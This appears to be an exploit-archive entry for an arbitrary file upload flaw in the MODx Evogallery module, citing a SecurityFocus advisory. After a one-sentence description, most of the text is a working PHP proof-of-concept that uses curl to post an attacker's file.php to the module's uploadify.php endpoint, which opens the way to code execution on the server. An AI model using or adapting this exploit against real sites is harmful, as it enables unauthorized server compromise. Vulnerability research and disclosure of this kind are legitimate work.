source: https://www.securityfocus.com/bid/65646/info MODx Evogallery module is prone to an arbitrary file upload vulnerability. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. <?php $uploadfile="file.php"; $ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>